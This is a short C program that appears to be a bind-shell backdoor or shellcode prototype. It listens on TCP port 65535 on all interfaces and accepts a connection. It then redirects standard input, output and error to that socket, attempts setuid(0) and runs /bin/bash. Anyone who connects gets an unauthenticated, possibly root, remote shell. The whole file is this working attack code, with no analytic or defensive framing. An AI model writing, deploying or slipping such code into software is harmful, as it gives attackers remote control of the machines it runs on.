#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock;
int troepje;

struct sockaddr_in serv_addr;

int
main()
{
	char *shell[2];
	shell[0] = "/bin/bash";
	shell[1] = NULL;

	serv_addr.sin_family=2;
	serv_addr.sin_addr.s_addr=0;
	serv_addr.sin_port=0xFFFF; // 65535

	sock=socket(2,1,0);
	bind(sock,(struct sockaddr *)&serv_addr,0x10);
	listen(sock,1);
	troepje=accept(sock,0,0);

	dup2(troepje,0);
	dup2(troepje,1);
	dup2(troepje,2);

	setuid(0);

	execve (shell[0],shell,NULL);
}
